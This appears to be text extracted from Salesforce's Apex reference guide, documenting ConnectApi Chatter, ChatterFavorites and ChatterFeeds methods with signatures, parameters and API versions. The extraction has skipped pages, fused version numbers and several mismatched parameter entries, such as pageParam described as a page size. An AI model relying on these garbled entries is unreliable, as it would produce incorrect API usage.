UI ignores the time value in the expirationDate. However, you can use the time value to create your own display logic in your
own UI.

Return Value
Type: ConnectApi.Announcement

Chatter Class
Access information about followers and subscriptions for records.

Namespace
ConnectApi

Chatter Methods
The following are methods for Chatter. All methods are static.

772

Reference

Chatter Class

IN THIS SECTION:
deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.
getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of
items.
getFollowers(communityId, recordId, pageParam, pageSize)
Returns the specified page of followers for the specified record.
getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.
submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.

deleteSubscription(communityId, subscriptionId)
Deletes the specified subscription. Use this method to unfollow a record, a user, or a file.

API Version
28.0

Requires Chatter
Yes

Signature
public static void deleteSubscription(String communityId, String subscriptionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subscriptionId

Type: String
The ID for a subscription.

Return Value
Type: Void

Usage
Following a user, group, or record is the same as subscribing to a user, group, or record. A follower is the user who followed the
user, group, or record. A subscription is an object describing the relationship between the follower and the user, group, or record they
followed.

773

Reference

Chatter Class

To leave a group, call deleteMember(communityId, membershipId).

SEE ALSO:
Unfollow a Record
Follow a Record
follow(communityId, userId, subjectId)

getFollowers(communityId, recordId)
Returns the first page of followers for the specified record in the specified community. The page contains the default number of items.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or the keyword me.

Return Value
Type: ConnectApi.FollowerPage

getFollowers(communityId, recordId, pageParam, pageSize)

Returns the specified page of followers for the specified record.

774

Reference

Chatter Class

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FollowerPage getFollowers(String communityId, String recordId,
Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
The ID for a record or the keyword me.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FollowerPage

getSubscription(communityId, subscriptionId)
Returns information about the specified subscription.

API Version
28.0

775

Reference

Chatter Class

Requires Chatter
Yes

Signature
public static ConnectApi.Subscription getSubscription(String communityId, String
subscriptionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subscriptionId

Type: String
The ID for a subscription.

Return Value
Type: ConnectApi.Subscription

submitDigestJob(period)
Submit a daily or weekly Chatter email digest job.

API Version
37.0

Requires Chatter
Yes

Signature
public static ConnectApi.DigestJobRepresentation submitDigestJob(ConnectApi.DigestPeriod
period)

776

Reference

ChatterFavorites Class

Parameters
period

Type: ConnectApi.DigestPeriod
Specifies the period of time that is included in a Chatter email digest. Values are:
DailyDigestThe email includes up to the 50 latest posts from the previous day.
WeeklyDigestThe email includes up to the 50 latest posts from the previous week.

Return Value
Type: ConnectApi.DigestJob

Usage
The times when Chatter sends email digests are not configurable in the UI. To control when email digests are sent and to use this method,
contact Salesforce to enable API-only Chatter Digests.
Warning: Enabling API-only Chatter Digests disables the scheduled digests for your org. You must call the API for your users to
receive their digests.
We recommend scheduling digest jobs by implementing the Apex Schedulable interface with this method. To monitor your digest
jobs from Setup, enter Background Jobs in the Quick Find box, then select Background Jobs.

Example
Schedule daily digests:
global class ExampleDigestJob1 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.DailyDigest);
}
}

Schedule weekly digests:

global class ExampleDigestJob2 implements Schedulable {
global void execute(SchedulableContext context) {
ConnectApi.Chatter.submitDigestJob(ConnectApi.DigestPeriod.WeeklyDigest);
}
}

getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)

Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.
getFeedItems(communityId, subjectId, favoriteId)
Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of
items.
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed item.
updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)
Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.

addFavorite(communityId, subjectId, searchText)

Adds a feed search favorite for the specified user in the specified community.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite addFavorite(String communityId, String subjectId,
String searchText)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
searchText

Type: String
Specify the text of the search to be saved as a favorite. This method can only create a feed search favorite, not a list view favorite or
a topic.

779

Reference

ChatterFavorites Class

Return Value
Type: ConnectApi.FeedFavorite

addRecordFavorite(communityId, subjectId, targetId)

Adds a topic as a favorite.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite addRecordFavorite(String communityId, String
subjectId, String targetId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
targetId

Type: String
The ID of the topic to add as a favorite.

Return Value
Type: ConnectApi.FeedFavorite

deleteFavorite(communityId, subjectId, favoriteId)

Deletes the specified favorite.

API Version
28.0

Requires Chatter
Yes

780

Reference

ChatterFavorites Class

Signature
public static Void deleteFavorite(String communityId, String subjectId, String
favoriteId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.

Return Value
Type: Void

getFavorite(communityId, subjectId, favoriteId)

Returns a description of the favorite.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite getFavorite(String communityId, String subjectId,
String favoriteId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String

781

Reference

ChatterFavorites Class

The ID of a favorite.

Return Value
Type: ConnectApi.FeedFavorite

getFavorites(communityId, subjectId)
Returns a list of all favorites for the specified user in the specified community.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorites getFavorites(String communityId, String subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

Return Value
Type: ConnectApi.FeedFavorites

getFeedElements(communityId, subjectId, favoriteId)

Returns the first page of feed elements for the specific favorite in the specified community.

API Version
31.0

Requires Chatter
Yes

782

Reference

ChatterFavorites Class

Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.

Return Value
Type: ConnectApi.FeedElementPage

getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize,

sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

783

Reference

ChatterFavorites Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
pageParam

Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed element, or by the most recently modified feed element. If you pass in
null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,

elementsPerBundle, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified favorite, in the specified community in the specified order and includes
no more than the specified number of comments per feed element.

784

Reference

ChatterFavorites Class

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElements(String communityId, String
subjectId, String favoriteId, Integer recentCommentCount, Integer elementsPerBundle,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

785

Reference

ChatterFavorites Class

Sorts the returned feed by the most recently created feed element, or by the most recently modified feed element. If you pass in
null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerClump, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code

getFeedItems(communityId, subjectId, favoriteId)

Returns the first page of feed items for the specific favorite in the specified community. The page contains the default number of items.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.

786

Reference

ChatterFavorites Class

Return Value
Type: ConnectApi.FeedItemPage

getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize,

sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
pageParam

Type: String

787

Reference

ChatterFavorites Class

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
or nextPageToken. If you pass in null, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedItems(communityId, subjectId, favoriteId, recentCommentCount,

pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified favorite, in the specified community in the specified order and includes no
more than the specified number of comments per feed item.

API Version
29.031.0
Important: In version 32.0 and later, use getFeedElements(communityId, subjectId, favoriteId, recentCommentCount,
elementsPerBundle, pageParam, pageSize, sortParam).

Requires Chatter
Yes

788

Reference

ChatterFavorites Class

Signature
public static ConnectApi.FeedItemPage getFeedItems(String communityId, String subjectId,
String favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize,
FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam

Type: FeedSortOrder
Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage

789

Reference

ChatterFavorites Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

updateFavorite(communityId, subjectId, favoriteId, updateLastViewDate)

Updates the last view date of the saved search or list view feed to the current system time if you specify true for
updateLastViewDate.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedFavorite updateFavorite(String communityId, String
subjectId, String favoriteId, Boolean updateLastViewDate)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
updateLastViewDate

Type: Boolean
Specify whether to update the last view date of the specified favorite to the current system time (true) or not (false).

Return Value
Type: ConnectApi.FeedFavorite

790

Reference

ChatterFavorites Class

ChatterFavorites Test Methods

The following are the test methods for ChatterFavorites. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestGetFeedElements(communityId, subjectId, favoriteId, result)

Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId)
Testing ConnectApi Code

791

Reference

ChatterFavorites Class

setTestGetFeedElements(communityId, subjectId, favoriteId, pageParam,

pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

792

Reference

ChatterFavorites Class

Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedElements(communityId, subjectId, favoriteId, recentCommentCount,

elementsPerClump, pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when getFeedElements is called with matching
parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
31.0

Signature
public static Void setTestGetFeedElements(String communityId, String subjectId, String
favoriteId, Integer recentCommentCount, Integer elementsPerClump, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.
pageParam

793

Reference

ChatterFavorites Class

pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedElements(communityId, subjectId, favoriteId, recentCommentCount, elementsPerBundle, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItems(communityId, subjectId, favoriteId, result)

Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.

API Version
28.031.0

Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

794

Reference

ChatterFavorites Class

favoriteId

Type: String
The ID of a favorite.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId)
Testing ConnectApi Code

setTestGetFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize,

sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.

API Version
28.031.0

Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, String pageParam, Integer pageSize, FeedSortOrder sortParam,
ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
pageParam

Type: String

795

Reference

ChatterFavorites Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestGetFeedItems(communityId, subjectId, favoriteId, recentCommentCount,

pageParam, pageSize, sortParam, result)
Registers a ConnectApi.FeedItemPage object to be returned when getFeedItems is called with matching parameters in
a test context. Use the method with the same parameters or the code throws an exception.

API Version
29.031.0

Signature
public static Void setTestGetFeedItems(String communityId, String subjectId, String
favoriteId, Integer recentCommentCount, String pageParam, Integer pageSize, FeedSortOrder
sortParam, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

796

Reference

ChatterFeeds Class

subjectId

Type: String
The ID of the context user or the alias me.
favoriteId

Type: String
The ID of a favorite.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getFeedItems(communityId, subjectId, favoriteId, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code

ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and vote
on polls.

797

Reference

ChatterFeeds Class

Namespace
ConnectApi

Usage
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didnt entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex. For detailed information, see Working
with Feeds and Feed Elements.
Important: Feed item methods arent available in version 32.0. In version 32.0 and later, use feed element methods.
Message segments in a feed item are typed as ConnectApi.MessageSegment. Feed item capabilities are typed as
ConnectApi.FeedItemCapability. Record fields are typed as ConnectApi.AbstractRecordField. These classes
are all abstract and have several concrete subclasses. At runtime you can use instanceof to check the concrete types of these objects
and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown
subclasses.
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.

ChatterFeeds Methods
The following are methods for ChatterFeeds. All methods are static.
IN THIS SECTION:
deleteComment(communityId, commentId)
Deletes the specified comment. You can find a comment ID in any feed, such as a news feed or a record feed.
deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.
deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.
deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.
getComment(communityId, commentId)
Returns the specified comment.
getCommentsForFeedElement(communityId, feedElementId)
Get the comments for a specified feed element.
getCommentsForFeedElement(communityId, feedElementId, pageParam, pageSize)
Returns the specified page of comments for the specified feed element.
getCommentsForFeedItem(communityId, feedItemId)
Returns the first page of comments for the feed item. The page contains the default number of items.

798

Reference

ChatterFeeds Class

getCommentsForFeedItem(communityId, feedItemId, pageParam, pageSize)

Returns the specified page of comments for the specified feed item.
getFeed(communityId, feedType)
Returns information about the feed for the specified feed type.
getFeed(communityId, feedType, sortParam)
Returns the feed for the specified feed type in the specified order.
getFeed(communityId, feedType, subjectId)
Returns the feed for the specified feed type for the specified user.
getFeed(communityId, feedType, subjectId, sortParam)
Returns the feed for the specified feed type for the specified user, in the specified order.
getFeedDirectory(String)
Returns a list of all feeds available to the context user.
getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)
Returns information about the specified feed element with the specified number of elements per bundle including no more than
the specified number of comments per feed element.
getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldnt be
loaded.
getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.
getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.
getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize, elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.
getFeedElementsFromFeed(communityId, feedType)
Returns the first page of feed elements from the Company, Home, and Moderation feed types. The page contains the default
number of items.
getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, Home, and Moderation feed types, in the specified order.
Each feed element contains no more than the specified number of comments.
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
element contains no more than the specified number of comments.
getFeedElementsFromFeed(communityId, feedType, subjectId)
Returns the first page of feed elements for any feed type other than Company, Filter, Home, and Moderation, for the
specified user or record. The page contains the default number of elements.

799

Reference

ChatterFeeds Class

getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)

deleteFeedElement(communityId, feedElementId)
Deletes the specified feed element.

API Version
31.0

807

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static deleteFeedElement(String communityId, String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.

Return Value
Type: Void

deleteFeedItem(communityId, feedItemId)
Deletes the specified feed item.

API Version
28.031.0
Important: In version 32.0 and later, use deleteFeedElement(communityId, feedElementId).

Requires Chatter
Yes

Signature
public static Void deleteFeedItem(String communityId, String feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

808

Reference

ChatterFeeds Class

Return Value
Type: Void

deleteLike(communityId, likeId)
Deletes the specified like. This can be a like on a comment or a feed item.

API Version
28.0

Requires Chatter
Yes

Signature
public static Void deleteLike(String communityId, String likeId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
likeId

Type: String
The ID for a like.

Return Value
Type: Void

getComment(communityId, commentId)
Returns the specified comment.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

809

Reference

ChatterFeeds Class

Signature
public static ConnectApi.Comment getComment(String communityId, String commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.

Return Value
Type: ConnectApi.Comment

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType)

813

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.

Return Value
Type: ConnectApi.Feed

getFeed(communityId, feedType, sortParam)

Returns the feed for the specified feed type in the specified order.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

814

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.Feed

getFeed(communityId, feedType, subjectId)

Returns the feed for the specified feed type for the specified user.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
String subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Topics, subjectId
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me.

Return Value
Type: ConnectApi.Feed

getFeed(communityId, feedType, subjectId, sortParam)

Returns the feed for the specified feed type for the specified user, in the specified order.

815

Reference

ChatterFeeds Class

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
String subjectId, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Return Value
Type: ConnectApi.Feed

getFeedDirectory(String)
Returns a list of all feeds available to the context user.

816

Reference

ChatterFeeds Class

API Version
30.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedDirectory getFeedDirectory(String communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.FeedDirectory

getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String
feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String

817

Reference

ChatterFeeds Class

The ID for a feed element.

Return Value
Type: ConnectApi.FeedElement

getFeedElement(communityId, feedElementId, recentCommentCount,

elementsPerBundle)
Returns information about the specified feed element with the specified number of elements per bundle including no more than the
specified number of comments per feed element.

API Version
31.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String
feedElementId, Integer recentCommentCount, Integer elementsPerBundle)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
elementsPerBundle

Type: Integer
The maximum number of feed elements per bundle. The default and maximum value is 10.

Return Value
Type: ConnectApi.FeedElement

818

Reference

ChatterFeeds Class

getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldnt be
loaded.

API Version
31.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getFeedElementBatch(String communityId,
List<String> feedElementIds)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementIds

Type: String
A list of up to 500 feed element IDs.

Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.FeedElement object.

getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.

API Version
32.0

Available to Guest Users

32.0

819

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.PollCapability getFeedElementPoll(String communityId, String
feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.

Return Value
Type: ConnectApi.PollCapability
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.

